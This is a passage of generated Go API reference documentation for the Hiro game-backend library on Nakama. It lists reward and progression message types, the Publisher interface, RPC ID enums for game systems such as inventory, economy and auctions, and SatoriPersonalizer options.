	Reset(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, progressionIDs []string) (progressions map[string]*Progression, err error)
}

A ProgressionSystem is a gameplay system which represents a sequence of progression steps.

type ProgressionUpdateRequest

type ProgressionUpdateRequest struct {

	// ID of the progression to update.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// One or more counts to add to the progression.
	Counts map[string]int64 `` /* 154-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to update a progression, if supported by that specific progression.

func (*ProgressionUpdateRequest) Descriptor deprecated

func (*ProgressionUpdateRequest) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionUpdateRequest.ProtoReflect.Descriptor instead.

func (*ProgressionUpdateRequest) GetCounts

func (x *ProgressionUpdateRequest) GetCounts() map[string]int64

func (*ProgressionUpdateRequest) GetId

func (x *ProgressionUpdateRequest) GetId() string

func (*ProgressionUpdateRequest) ProtoMessage

func (*ProgressionUpdateRequest) ProtoMessage()

func (*ProgressionUpdateRequest) ProtoReflect

func (x *ProgressionUpdateRequest) ProtoReflect() protoreflect.Message

func (*ProgressionUpdateRequest) Reset

func (x *ProgressionUpdateRequest) Reset()

func (*ProgressionUpdateRequest) String

func (x *ProgressionUpdateRequest) String() string

type Publisher

type Publisher interface {
	// Authenticate is called every time a user authenticates with Hiro. The 'created' flag is true if this
	// is a newly created user account, and each implementation may choose to handle this as it chooses.
	Authenticate(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, created bool)

	// Send is called when there are one or more events generated.
	Send(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, events []*PublisherEvent)
}

The Publisher describes a service or similar target implementation that wishes to receive and process analytics-style events generated server-side by the various available Hiro systems.

Each Publisher may choose to process or ignore each event as it sees fit. It may also choose to buffer events for batch processing at its discretion, but must take care to.

Publisher implementations must safely handle concurrent calls.

Implementations must handle any errors or retries internally, callers will not repeat calls in case of errors.

type PublisherEvent

type PublisherEvent struct {
	Name      string            `json:"name,omitempty"`
	Id        string            `json:"id,omitempty"`
	Timestamp int64             `json:"timestamp,omitempty"`
	Metadata  map[string]string `json:"metadata,omitempty"`
	Value     string            `json:"value,omitempty"`

	// The Hiro system that generated this event.
	System System `json:"-"`
	// Source ID represents the identifier of the event source, such as an achievement ID.
	SourceId string `json:"-"`
	// Source represents the configuration of the event source, such as an achievement config.
	Source any `json:"-"`
}

type RateAppRequest

type RateAppRequest struct {

	// The score given by the user. Above zero values indicate a positive review.
	Score uint32 `protobuf:"varint,1,opt,name=score,proto3" json:"score,omitempty"`
	// The message about the reason for their score. May be blank.
	Message string `protobuf:"bytes,2,opt,name=message,proto3" json:"message,omitempty"`
	// contains filtered or unexported fields
}

The input message when the user rates the app.

func (*RateAppRequest) Descriptor deprecated

func (*RateAppRequest) Descriptor() ([]byte, []int)

Deprecated: Use RateAppRequest.ProtoReflect.Descriptor instead.

func (*RateAppRequest) GetMessage

func (x *RateAppRequest) GetMessage() string

func (*RateAppRequest) GetScore

func (x *RateAppRequest) GetScore() uint32

func (*RateAppRequest) ProtoMessage

func (*RateAppRequest) ProtoMessage()

func (*RateAppRequest) ProtoReflect

func (x *RateAppRequest) ProtoReflect() protoreflect.Message

func (*RateAppRequest) Reset

func (x *RateAppRequest) Reset()

func (*RateAppRequest) String

func (x *RateAppRequest) String() string

type Reward

type Reward struct {

	// The items granted. Indexed by item ID.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// The currencies granted.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// The energy granted.
	Energies map[string]int32 `` /* 158-byte string literal not displayed */
	// The energy modifier granted.
	EnergyModifiers []*RewardEnergyModifier `protobuf:"bytes,4,rep,name=energy_modifiers,json=energyModifiers,proto3" json:"energy_modifiers,omitempty"`
	// The reward modifiers granted.
	RewardModifiers []*RewardModifier `protobuf:"bytes,5,rep,name=reward_modifiers,json=rewardModifiers,proto3" json:"reward_modifiers,omitempty"`
	// When the reward was granted, in UNIX time.
	GrantTimeSec int64 `protobuf:"varint,6,opt,name=grant_time_sec,json=grantTimeSec,proto3" json:"grant_time_sec,omitempty"`
	// The item instances granted. Indexed by item instance ID.
	ItemInstances map[string]*RewardInventoryItem `` /* 188-byte string literal not displayed */
	// contains filtered or unexported fields
}

Rewards granted to the player.

func (*Reward) Descriptor deprecated

func (*Reward) Descriptor() ([]byte, []int)

Deprecated: Use Reward.ProtoReflect.Descriptor instead.

func (*Reward) GetCurrencies

func (x *Reward) GetCurrencies() map[string]int64

func (*Reward) GetEnergies

func (x *Reward) GetEnergies() map[string]int32

func (*Reward) GetEnergyModifiers

func (x *Reward) GetEnergyModifiers() []*RewardEnergyModifier

func (*Reward) GetGrantTimeSec

func (x *Reward) GetGrantTimeSec() int64

func (*Reward) GetItemInstances

func (x *Reward) GetItemInstances() map[string]*RewardInventoryItem

func (*Reward) GetItems

func (x *Reward) GetItems() map[string]int64

func (*Reward) GetRewardModifiers

func (x *Reward) GetRewardModifiers() []*RewardModifier

func (*Reward) ProtoMessage

func (*Reward) ProtoMessage()

func (*Reward) ProtoReflect

func (x *Reward) ProtoReflect() protoreflect.Message

func (*Reward) Reset

func (x *Reward) Reset()

func (*Reward) String

func (x *Reward) String() string

type RewardEnergyModifier

type RewardEnergyModifier struct {

	// The ID of they modifier granted.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The energy modifier operator.
	Operator string `protobuf:"bytes,2,opt,name=operator,proto3" json:"operator,omitempty"`
	// The value to apply. Its behavior depends on the operator.
	Value int64 `protobuf:"varint,3,opt,name=value,proto3" json:"value,omitempty"`
	// The duration of the energy modifier in seconds.
	DurationSec uint64 `protobuf:"varint,4,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// The weight of the energy modifier, if weighted. Otherwise, -1.
	Weight int64 `protobuf:"varint,5,opt,name=weight,proto3" json:"weight,omitempty"`
	// contains filtered or unexported fields
}

Energy modifier granted.

func (*RewardEnergyModifier) Descriptor deprecated

func (*RewardEnergyModifier) Descriptor() ([]byte, []int)

Deprecated: Use RewardEnergyModifier.ProtoReflect.Descriptor instead.

func (*RewardEnergyModifier) GetDurationSec

func (x *RewardEnergyModifier) GetDurationSec() uint64

func (*RewardEnergyModifier) GetId

func (x *RewardEnergyModifier) GetId() string

func (*RewardEnergyModifier) GetOperator

func (x *RewardEnergyModifier) GetOperator() string

func (*RewardEnergyModifier) GetValue

func (x *RewardEnergyModifier) GetValue() int64

func (*RewardEnergyModifier) GetWeight

func (x *RewardEnergyModifier) GetWeight() int64

func (*RewardEnergyModifier) ProtoMessage

func (*RewardEnergyModifier) ProtoMessage()

func (*RewardEnergyModifier) ProtoReflect

func (x *RewardEnergyModifier) ProtoReflect() protoreflect.Message

func (*RewardEnergyModifier) Reset

func (x *RewardEnergyModifier) Reset()

func (*RewardEnergyModifier) String

func (x *RewardEnergyModifier) String() string

type RewardInventoryItem

type RewardInventoryItem struct {

	// The ID of the item.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The count granted of the item.
	Count int64 `protobuf:"varint,2,opt,name=count,proto3" json:"count,omitempty"`
	// The properties with string values.
	StringProperties map[string]string `` /* 197-byte string literal not displayed */
	// The properties with numeric values.
	NumericProperties map[string]float64 `` /* 202-byte string literal not displayed */
	// The instance ID of the item.
	InstanceId string `protobuf:"bytes,5,opt,name=instance_id,json=instanceId,proto3" json:"instance_id,omitempty"`
	// contains filtered or unexported fields
}

Inventory item granted.

func (*RewardInventoryItem) Descriptor deprecated

func (*RewardInventoryItem) Descriptor() ([]byte, []int)

Deprecated: Use RewardInventoryItem.ProtoReflect.Descriptor instead.

func (*RewardInventoryItem) GetCount

func (x *RewardInventoryItem) GetCount() int64

func (*RewardInventoryItem) GetId

func (x *RewardInventoryItem) GetId() string

func (*RewardInventoryItem) GetInstanceId

func (x *RewardInventoryItem) GetInstanceId() string

func (*RewardInventoryItem) GetNumericProperties

func (x *RewardInventoryItem) GetNumericProperties() map[string]float64

func (*RewardInventoryItem) GetStringProperties

func (x *RewardInventoryItem) GetStringProperties() map[string]string

func (*RewardInventoryItem) ProtoMessage

func (*RewardInventoryItem) ProtoMessage()

func (*RewardInventoryItem) ProtoReflect

func (x *RewardInventoryItem) ProtoReflect() protoreflect.Message

func (*RewardInventoryItem) Reset

func (x *RewardInventoryItem) Reset()

func (*RewardInventoryItem) String

func (x *RewardInventoryItem) String() string

type RewardList

type RewardList struct {

	// The rewards granted.
	Rewards []*Reward `protobuf:"bytes,1,rep,name=rewards,proto3" json:"rewards,omitempty"`
	// contains filtered or unexported fields
}

A list of rewards granted to the player.

func (*RewardList) Descriptor deprecated

func (*RewardList) Descriptor() ([]byte, []int)

Deprecated: Use RewardList.ProtoReflect.Descriptor instead.

func (*RewardList) GetRewards

func (x *RewardList) GetRewards() []*Reward

func (*RewardList) ProtoMessage

func (*RewardList) ProtoMessage()

func (*RewardList) ProtoReflect

func (x *RewardList) ProtoReflect() protoreflect.Message

func (*RewardList) Reset

func (x *RewardList) Reset()

func (*RewardList) String

func (x *RewardList) String() string

type RewardModifier

type RewardModifier struct {

	// The ID of the reward content to modify.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The type of reward content to modify.
	Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"`
	// The operator to apply.
	Operator string `protobuf:"bytes,3,opt,name=operator,proto3" json:"operator,omitempty"`
	// The value to apply. Its behavior depends on the operator.
	Value int64 `protobuf:"varint,4,opt,name=value,proto3" json:"value,omitempty"`
	// The duration of the item modifier in seconds.
	DurationSec uint64 `protobuf:"varint,5,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// contains filtered or unexported fields
}

A reward modifier temporally adjusts the way all rewards are handled in the economy.

func (*RewardModifier) Descriptor deprecated

func (*RewardModifier) Descriptor() ([]byte, []int)

Deprecated: Use RewardModifier.ProtoReflect.Descriptor instead.

func (*RewardModifier) GetDurationSec

func (x *RewardModifier) GetDurationSec() uint64

func (*RewardModifier) GetId

func (x *RewardModifier) GetId() string

func (*RewardModifier) GetOperator

func (x *RewardModifier) GetOperator() string

func (*RewardModifier) GetType

func (x *RewardModifier) GetType() string

func (*RewardModifier) GetValue

func (x *RewardModifier) GetValue() int64

func (*RewardModifier) ProtoMessage

func (*RewardModifier) ProtoMessage()

func (*RewardModifier) ProtoReflect

func (x *RewardModifier) ProtoReflect() protoreflect.Message

func (*RewardModifier) Reset

func (x *RewardModifier) Reset()

func (*RewardModifier) String

func (x *RewardModifier) String() string

type RewardRangeDouble

type RewardRangeDouble struct {

	// The minimum bound of the range.
	Min float64 `protobuf:"fixed64,1,opt,name=min,proto3" json:"min,omitempty"`
	// The maximum bound of the range.
	Max float64 `protobuf:"fixed64,2,opt,name=max,proto3" json:"max,omitempty"`
	// A number that the result must be a multiple of.
	Multiple float64 `protobuf:"fixed64,3,opt,name=multiple,proto3" json:"multiple,omitempty"`
	// contains filtered or unexported fields
}

A range of possible values.

func (*RewardRangeDouble) Descriptor deprecated

func (*RewardRangeDouble) Descriptor() ([]byte, []int)

Deprecated: Use RewardRangeDouble.ProtoReflect.Descriptor instead.

func (*RewardRangeDouble) GetMax

func (x *RewardRangeDouble) GetMax() float64

func (*RewardRangeDouble) GetMin

func (x *RewardRangeDouble) GetMin() float64

func (*RewardRangeDouble) GetMultiple

func (x *RewardRangeDouble) GetMultiple() float64

func (*RewardRangeDouble) ProtoMessage

func (*RewardRangeDouble) ProtoMessage()

func (*RewardRangeDouble) ProtoReflect

func (x *RewardRangeDouble) ProtoReflect() protoreflect.Message

func (*RewardRangeDouble) Reset

func (x *RewardRangeDouble) Reset()

func (*RewardRangeDouble) String

func (x *RewardRangeDouble) String() string

type RewardRangeInt32

type RewardRangeInt32 struct {

	// The minimum bound of the range.
	Min int32 `protobuf:"varint,1,opt,name=min,proto3" json:"min,omitempty"`
	// The maximum bound of the range.
	Max int32 `protobuf:"varint,2,opt,name=max,proto3" json:"max,omitempty"`
	// A number that the result must be a multiple of.
	Multiple int32 `protobuf:"varint,3,opt,name=multiple,proto3" json:"multiple,omitempty"`
	// contains filtered or unexported fields
}

A range of possible values.

func (*RewardRangeInt32) Descriptor deprecated

func (*RewardRangeInt32) Descriptor() ([]byte, []int)

Deprecated: Use RewardRangeInt32.ProtoReflect.Descriptor instead.

func (*RewardRangeInt32) GetMax

func (x *RewardRangeInt32) GetMax() int32

func (*RewardRangeInt32) GetMin

func (x *RewardRangeInt32) GetMin() int32

func (*RewardRangeInt32) GetMultiple

func (x *RewardRangeInt32) GetMultiple() int32

func (*RewardRangeInt32) ProtoMessage

func (*RewardRangeInt32) ProtoMessage()

func (*RewardRangeInt32) ProtoReflect

func (x *RewardRangeInt32) ProtoReflect() protoreflect.Message

func (*RewardRangeInt32) Reset

func (x *RewardRangeInt32) Reset()

func (*RewardRangeInt32) String

func (x *RewardRangeInt32) String() string

type RewardRangeInt64

type RewardRangeInt64 struct {

	// The minimum bound of the range.
	Min int64 `protobuf:"varint,1,opt,name=min,proto3" json:"min,omitempty"`
	// The maximum bound of the range.
	Max int64 `protobuf:"varint,2,opt,name=max,proto3" json:"max,omitempty"`
	// A number that the result must be a multiple of.
	Multiple int64 `protobuf:"varint,3,opt,name=multiple,proto3" json:"multiple,omitempty"`
	// contains filtered or unexported fields
}

A range of possible values.

func (*RewardRangeInt64) Descriptor deprecated

func (*RewardRangeInt64) Descriptor() ([]byte, []int)

Deprecated: Use RewardRangeInt64.ProtoReflect.Descriptor instead.

func (*RewardRangeInt64) GetMax

func (x *RewardRangeInt64) GetMax() int64

func (*RewardRangeInt64) GetMin

func (x *RewardRangeInt64) GetMin() int64

func (*RewardRangeInt64) GetMultiple

func (x *RewardRangeInt64) GetMultiple() int64

func (*RewardRangeInt64) ProtoMessage

func (*RewardRangeInt64) ProtoMessage()

func (*RewardRangeInt64) ProtoReflect

func (x *RewardRangeInt64) ProtoReflect() protoreflect.Message

func (*RewardRangeInt64) Reset

func (x *RewardRangeInt64) Reset()

func (*RewardRangeInt64) String

func (x *RewardRangeInt64) String() string

type RewardRangeUInt64

type RewardRangeUInt64 struct {

	// The minimum bound of the range.
	Min uint64 `protobuf:"varint,1,opt,name=min,proto3" json:"min,omitempty"`
	// The maximum bound of the range.
	Max uint64 `protobuf:"varint,2,opt,name=max,proto3" json:"max,omitempty"`
	// A number that the result must be a multiple of.
	Multiple uint64 `protobuf:"varint,3,opt,name=multiple,proto3" json:"multiple,omitempty"`
	// contains filtered or unexported fields
}

A range of possible values.

func (*RewardRangeUInt64) Descriptor deprecated

func (*RewardRangeUInt64) Descriptor() ([]byte, []int)

Deprecated: Use RewardRangeUInt64.ProtoReflect.Descriptor instead.

func (*RewardRangeUInt64) GetMax

func (x *RewardRangeUInt64) GetMax() uint64

func (*RewardRangeUInt64) GetMin

func (x *RewardRangeUInt64) GetMin() uint64

func (*RewardRangeUInt64) GetMultiple

func (x *RewardRangeUInt64) GetMultiple() uint64

func (*RewardRangeUInt64) ProtoMessage

func (*RewardRangeUInt64) ProtoMessage()

func (*RewardRangeUInt64) ProtoReflect

func (x *RewardRangeUInt64) ProtoReflect() protoreflect.Message

func (*RewardRangeUInt64) Reset

func (x *RewardRangeUInt64) Reset()

func (*RewardRangeUInt64) String

func (x *RewardRangeUInt64) String() string

type RpcId

type RpcId int32
const (
	RpcId_RPC_ID_UNSPECIFIED RpcId = 0
	// List all inventory items defined in the codex.
	RpcId_RPC_ID_INVENTORY_LIST RpcId = 1
	// List all inventory items owned by the player.
	RpcId_RPC_ID_INVENTORY_LIST_INVENTORY RpcId = 2
	// Consume one or more inventory items owned by the player.
	RpcId_RPC_ID_INVENTORY_CONSUME RpcId = 3
	// Grant one or more inventory items to the player.
	RpcId_RPC_ID_INVENTORY_GRANT RpcId = 4
	// Update the properties on one or more inventory items owned by the player.
	RpcId_RPC_ID_INVENTORY_UPDATE RpcId = 5
	// Claim one or more rewards which are partially or full donated by other players.
	RpcId_RPC_ID_ECONOMY_DONATION_CLAIM RpcId = 6
	// Donate some resource (currencies, items, etc.) to a user by donation ID.
	RpcId_RPC_ID_ECONOMY_DONATION_GIVE RpcId = 7
	// Get progress on one or more donations for a set of players by their IDs.
	RpcId_RPC_ID_ECONOMY_DONATION_GET RpcId = 8
	// Request a donation which other players can contribute into.
	RpcId_RPC_ID_ECONOMY_DONATION_REQUEST RpcId = 9
	// Get all store items defined in the Virtual Store.
	RpcId_RPC_ID_ECONOMY_STORE_GET RpcId = 10
	// Grant one or more currencies or reward modifiers to te player.
	RpcId_RPC_ID_ECONOMY_GRANT RpcId = 11
	// Send a marker of intent to purchase by the player.
	RpcId_RPC_ID_ECONOMY_PURCHASE_INTENT RpcId = 12
	// Purchase a store item by the player.
	RpcId_RPC_ID_ECONOMY_PURCHASE_ITEM RpcId = 13
	// Restore a set of purchases.
	RpcId_RPC_ID_ECONOMY_PURCHASE_RESTORE RpcId = 59
	// Get the current status on an Ad placement which may have been rewarded.
	RpcId_RPC_ID_ECONOMY_PLACEMENT_STATUS RpcId = 14
	// Start a new Ad placement by placement ID.
	RpcId_RPC_ID_ECONOMY_PLACEMENT_START RpcId = 15
	// Claim one or more achievements which have completed their progress.
	RpcId_RPC_ID_ACHIEVEMENTS_CLAIM RpcId = 16
	// Get all achievements with progress accumulated by the player.
	RpcId_RPC_ID_ACHIEVEMENTS_GET RpcId = 17
	// Update one or more achievements with the same progress amount.
	RpcId_RPC_ID_ACHIEVEMENTS_UPDATE RpcId = 18
	// Get the energies and their current timers for the player.
	RpcId_RPC_ID_ENERGY_GET RpcId = 19
	// Spend one or more energies for the player.
	RpcId_RPC_ID_ENERGY_SPEND RpcId = 20
	// Grant one or more energies to the player.
	RpcId_RPC_ID_ENERGY_GRANT RpcId = 65
	// Get the tutorials and current progress step for the player.
	RpcId_RPC_ID_TUTORIALS_GET RpcId = 21
	// Accept an offer to step through a tutorial.
	RpcId_RPC_ID_TUTORIALS_ACCEPT RpcId = 22
	// Decline an offer to start a tutorial.
	RpcId_RPC_ID_TUTORIALS_DECLINE RpcId = 23
	// Abandon progress on a tutorial.
	RpcId_RPC_ID_TUTORIALS_ABANDON RpcId = 24
	// Update the current progress step in the tutorial by ID.
	RpcId_RPC_ID_TUTORIALS_UPDATE RpcId = 25
	// Reset the state of all given tutorial IDs.
	RpcId_RPC_ID_TUTORIALS_RESET RpcId = 79
	// Create a team which other players can join.
	RpcId_RPC_ID_TEAMS_CREATE RpcId = 26
	// List one or more teams which the player can join.
	RpcId_RPC_ID_TEAMS_LIST RpcId = 27
	// Search for a team by name or optional short code.
	RpcId_RPC_ID_TEAMS_SEARCH RpcId = 28
	// Write a chat message to the Team's chat channel.
	RpcId_RPC_ID_TEAMS_WRITE_CHAT_MESSAGE RpcId = 29
	// Create a random unlockable to assign to a slot (or overflow) unless there are no slots.
	RpcId_RPC_ID_UNLOCKABLES_CREATE RpcId = 30
	// Get the unlockables which are currently in progress for the player.
	RpcId_RPC_ID_UNLOCKABLES_GET RpcId = 31
	// Start the unlock timer for an unlockable in the specified slot.
	RpcId_RPC_ID_UNLOCKABLES_UNLOCK_START RpcId = 32
	// Purchase an unlockable with soft currency based on the remainder cost calculated by the offset left to wait.
	RpcId_RPC_ID_UNLOCKABLES_PURCHASE_UNLOCK RpcId = 33
	// Purchase a new slot to be used to store unlockables.
	RpcId_RPC_ID_UNLOCKABLES_PURCHASE_SLOT RpcId = 34
	// Claim an unlockable whose start timer has completed or completion was fast tracked with a purchase.
	RpcId_RPC_ID_UNLOCKABLES_CLAIM RpcId = 35
	// Add some set of unlockables to the unlock queue.
	RpcId_RPC_ID_UNLOCKABLES_QUEUE_ADD RpcId = 62
	// Remove some set of unlockables from the unlock queue.
	RpcId_RPC_ID_UNLOCKABLES_QUEUE_REMOVE RpcId = 63
	// Replace the unlock queue with the given set of unlockables.
	RpcId_RPC_ID_UNLOCKABLES_QUEUE_SET RpcId = 64
	// Send feedback to the game's developers over email.
	RpcId_RPC_ID_BASE_RATE_APP RpcId = 36
	// Update or create the mobile push device tokens and preferences for the player.
	RpcId_RPC_ID_BASE_SET_DEVICE_PREFS RpcId = 37
	// Sync offline state.
	RpcId_RPC_ID_BASE_SYNC RpcId = 58
	// Get the leaderboards defined for the game.
	RpcId_RPC_ID_LEADERBOARDS_CONFIG_GET RpcId = 38
	// List available event leaderboards.
	RpcId_RPC_ID_EVENT_LEADERBOARD_LIST RpcId = 80
	// Get a specified event leaderboard defined for the game.
	RpcId_RPC_ID_EVENT_LEADERBOARD_GET RpcId = 42
	// Update an event leaderboard record for a user.
	RpcId_RPC_ID_EVENT_LEADERBOARD_UPDATE RpcId = 43
	// Claim an event leaderboard reward for a user.
	RpcId_RPC_ID_EVENT_LEADERBOARD_CLAIM RpcId = 44
	// Roll a new cohort for the specified event leaderboard.
	RpcId_RPC_ID_EVENT_LEADERBOARD_ROLL RpcId = 45
	// DEBUG. Fill an event leaderboard with random user IDs.
	RpcId_RPC_ID_EVENT_LEADERBOARD_DEBUG_FILL RpcId = 60
	// DEBUG. Assign random scores within a given range to users within the caller's cohort, except for the caller themselves.
	RpcId_RPC_ID_EVENT_LEADERBOARD_DEBUG_RANDOM_SCORES RpcId = 61
	// Get all stats.
	RpcId_RPC_ID_STATS_GET RpcId = 46
	// Update private stats.
	RpcId_RPC_ID_STATS_UPDATE RpcId = 47
	// Get progressions.
	RpcId_RPC_ID_PROGRESSIONS_GET RpcId = 48
	// Purchase a progression for permanent unlock, if supported.
	RpcId_RPC_ID_PROGRESSIONS_PURCHASE RpcId = 49
	// Update a progression to change its count, if supported.
	RpcId_RPC_ID_PROGRESSIONS_UPDATE RpcId = 50
	// List incentives set up by the user.
	RpcId_RPC_ID_INCENTIVES_SENDER_LIST RpcId = 51
	// Create a new incentive set up by the user.
	RpcId_RPC_ID_INCENTIVES_SENDER_CREATE RpcId = 52
	// Delete an existing incentive set up by the user.
	RpcId_RPC_ID_INCENTIVES_SENDER_DELETE RpcId = 53
	// Claim rewards for an existing incentive after it has been used by some recipient(s).
	RpcId_RPC_ID_INCENTIVES_SENDER_CLAIM RpcId = 54
	// Get information about an existing incentive from a recipient's perspective.
	RpcId_RPC_ID_INCENTIVES_RECIPIENT_GET RpcId = 55
	// Claim an existing incentive and receive associated rewards.
	RpcId_RPC_ID_INCENTIVES_RECIPIENT_CLAIM RpcId = 56
	// Reset progression progress.
	RpcId_RPC_ID_PROGRESSIONS_RESET RpcId = 57
	// Fetch all available auction templates.
	RpcId_RPC_ID_AUCTIONS_GET_TEMPLATES RpcId = 66
	// List available auctions.
	RpcId_RPC_ID_AUCTIONS_LIST RpcId = 67
	// Bid on an active auction.
	RpcId_RPC_ID_AUCTIONS_BID RpcId = 68
	// Claim a completed auction where the user was the winning bidder.
	RpcId_RPC_ID_AUCTIONS_CLAIM_BID RpcId = 69
	// Claim a completed auction where the user was the seller.
	RpcId_RPC_ID_AUCTIONS_CLAIM_CREATED RpcId = 70
	// Cancel an in-progress auction.
	RpcId_RPC_ID_AUCTIONS_CANCEL RpcId = 71
	// Create a new auction.
	RpcId_RPC_ID_AUCTIONS_CREATE RpcId = 72
	// List auctions the user has bid on.
	RpcId_RPC_ID_AUCTIONS_LIST_BIDS RpcId = 73
	// List auctions the user has created.
	RpcId_RPC_ID_AUCTIONS_LIST_CREATED RpcId = 74
	// List all available streaks, including their current state and progress if any.
	RpcId_RPC_ID_STREAKS_LIST RpcId = 75
	// Update one or more streaks with the given progress amounts.
	RpcId_RPC_ID_STREAKS_UPDATE RpcId = 76
	// Claim the rewards from one or more streaks.
	RpcId_RPC_ID_STREAKS_CLAIM RpcId = 77
	// Reset all progress for one or more streaks.
	RpcId_RPC_ID_STREAKS_RESET RpcId = 78
	// Webhook RPC to handle Rewarded Video Ad placement success callbacks.
	RpcId_RPC_ID_ECONOMY_PLACEMENT_SUCCESS RpcId = 1001
	// Webhook RPC to handle Rewarded Video Ad placement failure callbacks.
	RpcId_RPC_ID_ECONOMY_PLACEMENT_FAIL RpcId = 1002
	// RPC to upload Hiro system configurations for the storage personalizer.
	RpcId_RPC_ID_STORAGE_PERSONALIZER_UPLOAD RpcId = 1003
)

func (RpcId) Descriptor

func (RpcId) Descriptor() protoreflect.EnumDescriptor

func (RpcId) Enum

func (x RpcId) Enum() *RpcId

func (RpcId) EnumDescriptor deprecated

func (RpcId) EnumDescriptor() ([]byte, []int)

Deprecated: Use RpcId.Descriptor instead.

func (RpcId) Number

func (x RpcId) Number() protoreflect.EnumNumber

func (RpcId) String

func (x RpcId) String() string

func (RpcId) Type

func (RpcId) Type() protoreflect.EnumType

type RpcSocketId

type RpcSocketId int32
const (
	RpcSocketId_RPC_SOCKET_ID_UNSPECIFIED RpcSocketId = 0
	// Follow auctions a user has an interest in, bid or own. Must be called via a connected socket.
	RpcSocketId_RPC_SOCKET_ID_AUCTIONS_FOLLOW RpcSocketId = 1
	// Bid on an auction and follow it for further updates.
	RpcSocketId_RPC_SOCKET_ID_AUCTIONS_BID RpcSocketId = 2
)

func (RpcSocketId) Descriptor

func (RpcSocketId) Enum

func (x RpcSocketId) Enum() *RpcSocketId

func (RpcSocketId) EnumDescriptor deprecated

func (RpcSocketId) EnumDescriptor() ([]byte, []int)

Deprecated: Use RpcSocketId.Descriptor instead.

func (RpcSocketId) Number

func (x RpcSocketId) Number() protoreflect.EnumNumber

func (RpcSocketId) String

func (x RpcSocketId) String() string

func (RpcSocketId) Type

type SatoriPersonalizer

type SatoriPersonalizer struct {
	// contains filtered or unexported fields
}

func NewSatoriPersonalizer

func NewSatoriPersonalizer(ctx context.Context, opts ...SatoriPersonalizerOption) *SatoriPersonalizer

func (*SatoriPersonalizer) Authenticate

func (p *SatoriPersonalizer) Authenticate(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, created bool)

func (*SatoriPersonalizer) GetValue

func (p *SatoriPersonalizer) GetValue(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, system System, userID string) (any, error)

func (*SatoriPersonalizer) IsPublishAchievementsEvents

func (p *SatoriPersonalizer) IsPublishAchievementsEvents() bool

func (*SatoriPersonalizer) IsPublishAuctionsEvents

func (p *SatoriPersonalizer) IsPublishAuctionsEvents() bool

func (*SatoriPersonalizer) IsPublishAuthenticateRequest

func (p *SatoriPersonalizer) IsPublishAuthenticateRequest() bool

func (*SatoriPersonalizer) IsPublishBaseEvents

func (p *SatoriPersonalizer) IsPublishBaseEvents() bool

func (*SatoriPersonalizer) IsPublishEconomyEvents

func (p *SatoriPersonalizer) IsPublishEconomyEvents() bool

func (*SatoriPersonalizer) IsPublishEnergyEvents

func (p *SatoriPersonalizer) IsPublishEnergyEvents() bool

func (*SatoriPersonalizer) IsPublishEventLeaderboardsEvents

func (p *SatoriPersonalizer) IsPublishEventLeaderboardsEvents() bool

func (*SatoriPersonalizer) IsPublishIncentivesEvents

func (p *SatoriPersonalizer) IsPublishIncentivesEvents() bool

func (*SatoriPersonalizer) IsPublishInventoryEvents

func (p *SatoriPersonalizer) IsPublishInventoryEvents() bool

func (*SatoriPersonalizer) IsPublishLeaderboardsEvents

func (p *SatoriPersonalizer) IsPublishLeaderboardsEvents() bool

func (*SatoriPersonalizer) IsPublishProgressionEvents

func (p *SatoriPersonalizer) IsPublishProgressionEvents() bool

func (*SatoriPersonalizer) IsPublishStatsEvents

func (p *SatoriPersonalizer) IsPublishStatsEvents() bool

func (*SatoriPersonalizer) IsPublishStreaksEvents

func (p *SatoriPersonalizer) IsPublishStreaksEvents() bool

func (*SatoriPersonalizer) IsPublishTeamsEvents

func (p *SatoriPersonalizer) IsPublishTeamsEvents() bool

func (*SatoriPersonalizer) IsPublishTutorialsEvents

func (p *SatoriPersonalizer) IsPublishTutorialsEvents() bool

func (*SatoriPersonalizer) IsPublishUnlockablesEvents

func (p *SatoriPersonalizer) IsPublishUnlockablesEvents() bool

func (*SatoriPersonalizer) Send

func (p *SatoriPersonalizer) Send(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, events []*PublisherEvent)

type SatoriPersonalizerCache

type SatoriPersonalizerCache struct {
	// contains filtered or unexported fields
}

type SatoriPersonalizerOption

type SatoriPersonalizerOption interface {
	// contains filtered or unexported methods
}

func SatoriPersonalizerNoCache

func SatoriPersonalizerNoCache() SatoriPersonalizerOption

func SatoriPersonalizerPublishAchievementsEvents

func SatoriPersonalizerPublishAchievementsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishAllEvents

func SatoriPersonalizerPublishAllEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishAuctionsEvents

func SatoriPersonalizerPublishAuctionsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishAuthenticateEvents

func SatoriPersonalizerPublishAuthenticateEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishBaseEvents

func SatoriPersonalizerPublishBaseEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishEconomyEvents

func SatoriPersonalizerPublishEconomyEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishEnergyEvents

func SatoriPersonalizerPublishEnergyEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishEventLeaderboardsEvents

func SatoriPersonalizerPublishEventLeaderboardsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishIncentivesEvents

func SatoriPersonalizerPublishIncentivesEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishInventoryEvents

func SatoriPersonalizerPublishInventoryEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishLeaderboardsEvents

func SatoriPersonalizerPublishLeaderboardsEvents() SatoriPersonalizerOption

